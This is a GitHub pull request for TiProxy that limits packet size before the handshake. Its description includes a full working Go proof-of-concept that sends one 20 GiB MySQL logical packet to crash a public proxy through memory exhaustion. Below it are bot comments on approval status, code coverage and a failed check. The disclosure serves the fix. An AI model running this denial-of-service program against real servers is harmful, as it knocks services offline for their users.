packetio: limit the packet size of packets before handshake

[YangKeao]

What problem does this PR solve?

Issue Number: close #1089

Problem Summary:

The following program will make a public TiProxy OOM:

package main

import (
        "errors"
        "flag"
        "io"
        "log"
        "net"
        "time"
)

const maxPayloadLen = 0xFFFFFF // 16,777,215

func main() {
        addr := flag.String("addr", "127.0.0.1:4000", "TiDB/MySQL server address")
        totalGB := flag.Int64("total-gb", 20, "total logical payload size in GiB")
        timeout := flag.Duration("timeout", 10*time.Second, "TCP connect timeout")
        readDeadline := flag.Duration("read-deadline", 5*time.Second, "deadline for reading initial handshake")
        flag.Parse()

        if *totalGB <= 0 {
                log.Fatalf("-total-gb must be > 0, got %d", *totalGB)
        }

        totalPayload := *totalGB * 1024 * 1024 * 1024
        if totalPayload <= 0 {
                log.Fatalf("invalid total payload size: %d", totalPayload)
        }

        conn, err := net.DialTimeout("tcp", *addr, *timeout)
        if err != nil {
                log.Fatalf("dial %s failed: %v", *addr, err)
        }
        defer conn.Close()

        log.Printf("connected to %s", *addr)

        if err := conn.SetReadDeadline(time.Now().Add(*readDeadline)); err != nil {
                log.Fatalf("set read deadline failed: %v", err)
        }
        _, serverSeq, err := readLogicalPacket(conn)
        if err != nil {
                log.Fatalf("read initial handshake failed: %v", err)
        }
        if err := conn.SetReadDeadline(time.Time{}); err != nil {
                log.Fatalf("clear read deadline failed: %v", err)
        }

        nextSeq := serverSeq + 1
        log.Printf("received initial handshake (server seq=%d), start sending one logical packet of %d bytes (%.2f GiB)", serverSeq, totalPayload, float64(totalPayload)/(1024*1024*1024))

        start := time.Now()
        segments, endSeq, err := writeHugeLogicalPacket(conn, nextSeq, totalPayload)
        if err != nil {
                log.Fatalf("send huge logical packet failed: %v", err)
        }

        elapsed := time.Since(start)
        mbps := float64(totalPayload) / elapsed.Seconds() / 1024 / 1024
        log.Printf("done: wrote %d segments, seq start=%d end=%d, took=%s, throughput=%.2f MiB/s", segments, nextSeq, endSeq, elapsed.Round(time.Millisecond), mbps)

        // Keep connection open briefly so TiDB side has time to process and expose OOM behavior in logs.
        time.Sleep(2 * time.Second)
}

// readLogicalPacket reads one MySQL logical packet (possibly split into multiple physical packets).
func readLogicalPacket(r io.Reader) ([]byte, byte, error) {
        var payload []byte
        var lastSeq byte

        for {
                var head [4]byte
                if _, err := io.ReadFull(r, head[:]); err != nil {
                        return nil, 0, err
                }
                length := int(uint32(head[0]) | uint32(head[1])<<8 | uint32(head[2])<<16)
                lastSeq = head[3]

                if length > 0 {
                        chunk := make([]byte, length)
                        if _, err := io.ReadFull(r, chunk); err != nil {
                                return nil, 0, err
                        }
                        payload = append(payload, chunk...)
                }

                if length < maxPayloadLen {
                        return payload, lastSeq, nil
                }
        }
}

func writeHugeLogicalPacket(w io.Writer, startSeq byte, total int64) (segments int64, endSeq byte, err error) {
        if total < 0 {
                return 0, 0, errors.New("total must be >= 0")
        }

        zeroBuf := make([]byte, 1<<20) // 1 MiB reusable chunk
        remaining := total
        seq := startSeq
        var sent int64
        progressStep := int64(1 << 20) // 1 MiB
        nextProgress := progressStep

        writeSegment := func(length int) error {
                var hdr [4]byte
                hdr[0] = byte(length)
                hdr[1] = byte(length >> 8)
                hdr[2] = byte(length >> 16)
                hdr[3] = seq

                if err := writeAll(w, hdr[:]); err != nil {
                        return err
                }
                if err := writeZeroBytes(w, int64(length), zeroBuf); err != nil {
                        return err
                }

                segments++
                sent += int64(length)
                seq++

                for sent >= nextProgress && nextProgress <= total {
                        log.Printf("progress: sent %.2f / %.2f GiB", float64(sent)/(1024*1024*1024), float64(total)/(1024*1024*1024))
                        nextProgress += progressStep
                }
                return nil
        }

        for remaining >= maxPayloadLen {
                if err := writeSegment(maxPayloadLen); err != nil {
                        return segments, seq - 1, err
                }
                remaining -= maxPayloadLen
        }

        if remaining > 0 {
                if err := writeSegment(int(remaining)); err != nil {
                        return segments, seq - 1, err
                }
        } else {
                // Protocol requirement: if logical length is exact multiple of max payload,
                // append a zero-length terminating packet.
                if err := writeSegment(0); err != nil {
                        return segments, seq - 1, err
                }
        }

        if c, ok := w.(interface{ CloseWrite() error }); ok {
                _ = c.CloseWrite()
        }

        return segments, seq - 1, nil
}

func writeZeroBytes(w io.Writer, n int64, buf []byte) error {
        if len(buf) == 0 {
                return errors.New("buffer must not be empty")
        }

        for n > 0 {
                toWrite := len(buf)
                if int64(toWrite) > n {
                        toWrite = int(n)
                }
                written, err := w.Write(buf[:toWrite])
                if err != nil {
                        return err
                }
                if written <= 0 {
                        return io.ErrShortWrite
                }
                n -= int64(written)
        }
        return nil
}

func writeAll(w io.Writer, data []byte) error {
        for len(data) > 0 {
                n, err := w.Write(data)
                if err != nil {
                        return err
                }
                if n <= 0 {
                        return io.ErrShortWrite
                }
                data = data[n:]
        }
        return nil
}

What is changed and how it works:

1. Limit the packet size before login.

Check List

Tests

• Unit test
• Integration test
• Manual test (add detailed scripts or steps below)
• No code

Notable changes

• Has configuration change
• Has HTTP API interfaces change
• Has tiproxyctl change
• Other user behavior changes

Release note

Please refer to Release Notes Language Style Guide to write a quality release note.

None

[ti-chi-bot]

[APPROVALNOTIFIER] This PR is NOT APPROVED

This pull-request has been approved by:
Once this PR has been reviewed and has the lgtm label, please assign djshow832 for approval. For more information see the Code Review Process.
Please ensure that each of them provides their approval before proceeding.

The full list of commands accepted by this bot can be found here.

Details

Needs approval from an approver in each of these files:

• OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[codecov-commenter]

Codecov Report

❌ Patch coverage is 65.71429% with 12 lines in your changes missing coverage. Please review.
⚠️ Please upload report for BASE (main@ca24d03). Learn more about missing BASE report.

Files with missing lines	Patch %	Lines
pkg/proxy/net/mysql.go	0.00%	6 Missing ⚠️
pkg/proxy/net/packetio.go	76.47%	3 Missing and 1 partial ⚠️
pkg/proxy/backend/error.go	33.33%	2 Missing ⚠️

Additional details and impacted files

@@           Coverage Diff           @@
##             main    #1090   +/-   ##
=======================================
  Coverage        ?   66.81%           
=======================================
  Files           ?      141           
  Lines           ?    14660           
  Branches        ?        0           
=======================================
  Hits            ?     9795           
  Misses          ?     4193           
  Partials        ?      672           

Flag	Coverage Δ
unit	66.81% <65.71%> (?)

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:

• ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

[ti-chi-bot]

@YangKeao: The following test failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name	Commit	Details	Required	Rerun command
pull-check	ced5598	link	true	/test pull-check

Full PR test history. Your PR dashboard.

Details

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository. I understand the commands that are listed here.